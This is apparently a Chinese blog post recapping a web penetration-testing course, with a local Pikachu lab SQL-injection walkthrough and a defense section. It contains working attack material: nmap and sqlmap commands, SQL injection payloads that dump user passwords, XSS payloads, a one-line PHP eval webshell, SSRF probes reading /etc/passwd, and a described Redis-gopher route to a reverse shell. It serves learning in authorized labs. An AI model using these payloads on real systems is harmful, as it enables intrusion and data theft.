Web安全入门必看:渗透测试课程全复盘
一、学习路线概览整个课程按照经典的渗透测试流程展开我也正是跟着这个节奏一步步搭建起自己的知识体系Web基础回顾 —— HTTP协议、请求/响应、Cookie/Session、同源策略信息收集 —— 子域名、端口、目录、指纹越细越能发现突破口漏洞扫描与探测 —— 手工分析为主工具辅助验证常见Web漏洞详解 —— SQL注入、XSS、CSRF、SSRF、文件上传、命令注入等每个漏洞都在本地靶场反复练习后渗透与权限提升 —— 拿到shell后信息收集与横向移动的基本思路报告编写 —— 怎样把发现的问题变成一份专业的渗透测试报告下面我把每个阶段踩过的坑和总结出的干货分享出来希望能帮你少走弯路。二、Web基础渗透的根基这部分虽然枯燥但后来才知道HTTP协议理解不到位连数据包都看不懂。HTTP请求/响应必须掌握请求方法GET/POST/PUT、常见状态码200/302/403/500、重要HeaderUser-Agent, Cookie, Referer, X-Forwarded-For。我专门用 Burp Suite 的 Repeater 模块反复修改数据包观察返回差异。Cookie与Session机制理解服务端如何维持会话是后面做会话劫持、CSRF的前提。我甚至自己用Python Flask写了一个简单的登录功能来体验Session的生成与验证。同源策略与跨域明白了同源策略的限制才恍然大悟为什么会有CORS配置不当、JSONP劫持等问题。这部分强烈建议动手在浏览器控制台测试。三、信息收集渗透的起点课程老师反复强调信息收集做得好漏洞挖掘就已经成功了一半。我平时最爱用的是下面这几招1. 域名与IPwhois查询、DNS历史记录用 viewdns.info 等在线站子域名枚举我常备工具是 Layer 子域名挖掘机、subfinder、amassCDN判断多地ping如 ping.chinaz.com如果IP不唯一就要找真实IP比如查DNS历史、找子域名、甚至利用邮件服务器泄露2. 端口与服务快速端口扫描命令我整理成了固定套路【代码 语言bash】nmap -sS -T4 -p- target.comnmap -sV -O -p 22,80,443,8080 target.com【/代码】扫描出端口后一定要去查对应服务版本的已知漏洞。比如发现一个 OpenSSH 7.4就去搜 Exploit-DB。3. 目录与文件扫描常用 dirsearch、gobuster字典一定要自己积累尤其是一些敏感后台和文件robots.txt、.git/HEAD、.DS_Store、备份文件.bak/.swp/~结尾常见管理入口admin/、manager/、phpinfo.php、test.php有一次我在一个靶场里用 dirsearch 扫出了 .git 文件夹然后用 GitHack 工具恢复了部分源码直接拿到了数据库密码那种感觉特别爽。4. 指纹识别浏览器装 Wappalyzer 插件看一眼就知道网站用什么CMS、中间件。再用 WhatWeb 命令行交叉验证。一旦确定是 WordPress马上用 wpscan 扫插件漏洞确定是 ThinkPHP立刻测试对应版本的RCE。四、常见Web漏洞与实战技巧这部分是课程的核心每个漏洞我都在自己用 Docker 搭建的 DVWA、Pikachu、Sqli-labs 里反复练习直到不需要看笔记就能手工利用。4.1 SQL注入手工工具附完整复盘见第六节手工注入的基本功必须扎实不然完全依赖 sqlmap环境一变就傻眼。手工注入常规步骤找注入点加单引号、双引号、反斜杠看报错判断闭合方式常用 ‘ or 11 # 测试用 order by 猜解列数联合查询 union select 收集数据如果联合查询被拦截换报错注入、布尔盲注、时间盲注报错注入常用技巧比如在不能回显列数时【代码 语言sql】 and extractvalue(1, concat(0x7e, database())) --【/代码】布尔盲注时我习惯用 length(database())5 一点点判断虽然慢但在没有工具时很可靠。工具 sqlmap 永远只作辅助常用命令【代码 语言bash】sqlmap -u http://target.com/page.php?id1 --dbs --batchsqlmap -u ... -D dbname --tables --dump【/代码】为了绕过简单 WAF我用过 tamper 脚本如 space2comment、between效果不错。4.2 XSS跨站脚本我把XSS分三类记住反射型恶意脚本通过URL参数传入需要诱导点击存储型提交到留言板、个人资料等所有人查看即触发DOM型前端JS不恰当地处理URL锚点或参数常用测试 payload【代码 语言html】scriptalert(XSS)/scriptimg srcx οnerrοralert(1) svg/οnlοadalert(1) 【/代码】 遇到过滤时可以尝试大小写混合、双写、编码绕过。后来我学着用 BeEF 结合XSS进行更深层的利用比如获取浏览器指纹、劫持Cookie效果非常直观。4.3 CSRF跨站请求伪造CSRF 的条件必须深刻理解用户登录站点A同时访问了恶意站点B站点B的代码以用户身份向A发起请求。典型的攻击场景是修改密码、转账。防御上Referer 检查、CSRF Token、SameSite Cookie 都很关键。测试时我会先抓正常的修改密码请求然后生成一个一模一样的表单删除 Token 和 Referer看看能否成功。4.4 文件上传漏洞文件上传是拿shell最快的方式之一。前端验证绕过直接抓包改后缀或者先传允许的图片格式再抓包改回 php。后端黑名单绕过尝试 php3, phtml, php. , .htaccess 等。白名单配合解析漏洞例如 Apache 的 a.php.bak 可能被当成PHP执行IIS6 的 1.asp;.jpg 解析漏洞。内容检测制作图片马用 copy /b 图片.jpg 一句话.php 生成然后上传并配合文件包含漏洞执行。我总结的一句话木马【代码 语言php】?php eval($_POST[cmd]); ?【/代码】上传成功后用蚁剑连接能执行命令、管理文件但一定只在授权环境测试。4.5 命令执行与代码注入关注那些能执行系统命令的函数system()、exec()、passthru()、popen()以及代码注入的 eval()、assert()。命令分隔符要灵活使用; | || 。绕过空格可以用 ${IFS}、、 等。无回显时我用 dnslog 或者在自己的VPS上接收 curl 请求来验证命令是否执行。4.6 SSRF服务端请求伪造只要看到能让服务器发起URL请求的功能点如远程图片加载、文件下载、URL跳转我就会尝试探测内网。例如【代码 语言bash】http://127.0.0.1:22http://127.0.0.1:6379file:///etc/passwd【/代码】如果存在Redis未授权访问配合 gopher 协议可以写入公钥或计划任务反弹shell这招在靶场中特别有效。五、工具总结与使用心得我把自己常用的工具整理成了一个表格粘贴后可手动制表或用文字描述这里列出核心几个Burp Suite渗透必备Proxy拦截、Repeater重放、Intruder暴力破解都非常熟练。sqlmap自动化注入但我坚持先手工确认注入点再上工具并会分析其payload。Nmap端口和服务扫描脚本引擎强大。dirsearch目录扫描字典自定义好很重要。蚁剑/冰蝎/哥斯拉连接webshell各有千秋蚁剑简单冰蝎流量加密。Xray/Goby自动化漏洞扫描被动模式配合Burp扫完一定要看流量的原理。工具只是辅助真正让我成长的是在手工测试中一次次失败又排查的过程。六、实战复盘Pikachu字符型SQL注入完整过程这个案例我录了屏截图保留在每个步骤这里是文字复盘。靶场本地 Pikachu字符型注入SQL Inject - String第1步发现注入点输入正常的名字vince返回一条数据。输入vince页面直接报 SQL 语法错误说明输入被直接拼进查询了。这意味着这里极可能存在注入。【插入图片单引号报错的截图图6】第2步判断闭合方式与注入可行性尝试 payloadvince or 11 #结果返回了所有用户的记录。说明服务端的查询语句大概是SELECT * FROM users WHERE name$input。我用了单引号闭合前面的字符串or 11使条件永真#注释掉后面的内容。注入确认。第3步获取列数用vince order by 2 #正常返回vince order by 3 #报错说明当前查询的列数就是2。联合查询必须字段数一致这一步不能错。第4步联合查询获取数据库信息构造vince union select database(),user() #。页面显示了两个额外字段数据库名和当前用户。我一看数据库是 pikachu用户是 rootlocalhost。第5步逐层获取表名、列名、数据继续使用联合查询用 information_schema 来查获取表名vince union select 1,group_concat(table_name) from information_schema.tables where table_schemapikachu #查到 users 表。获取列名vince union select 1,group_concat(column_name) from information_schema.columns where table_nameusers #得到 id, username, password。拖数据vince union select group_concat(username),group_concat(password) from users #成功拿到所有用户密码多数是 MD5可以直接在线解密。第6步整理成报告我把每一步的截图、解释和修复建议使用参数化查询、过滤输入整理出来形成一份小报告成就感满满。七、漏洞修复与防御思路学渗透不能只会攻还得会防。我把常见漏洞的防御方案汇总在这里SQL注入使用参数化查询预编译严格过滤输入类型和长度数据库用户最小权限关闭错误回显。XSS输出编码HTML实体编码、JS编码使用 CSP内容安全策略HttpOnly 标记 Cookie。CSRF加入随机 Token 并验证设置 SameSiteStrict/Lax检查 Referer。文件上传使用白名单限制后缀重命名文件将上传目录设置为不可执行对文件内容做二次检测。命令注入/代码注入禁止外部输入直接执行命令使用白名单限制参数禁用危险函数。SSRF白名单限制请求的目标地址禁用 file、gopher 等危险协议对内网访问做限制。八、学习心得与建议一定要搭建自己的靶场环境Docker 秒搭建 DVWA、Sqli-labs、Vulhub随时操练。每学一个漏洞不要只看视频一定要亲手复现并写下详细的复现笔记我用 Typora。编程能力不能丢至少会 Python写些小脚本批量检测或解析数据效率翻倍。多看安全社区先知、FreeBuf、安全客和 CVE关注最新漏洞保持敏感度。永远对法律和道德保持敬畏只做授权测试法律红线绝不触碰。九、结语与互动Web渗透测试入门不难但想精通没有捷径就是靠大量实践和总结。这篇文章是我学习课程后的全盘复盘如果对你有帮助欢迎点赞、收藏支持。思考与互动你在学习SQL注入时是手工注入还是直接上 sqlmap遇到过什么难忘的坑文件上传绕过内容检测除了图片马还有哪些方法欢迎在评论区聊聊你的经验我会每条都回复。参考推荐《白帽子讲Web安全》OWASP Top 10 2021Vulhub漏洞靶场PortSwigger Web Security Academy免费在线实验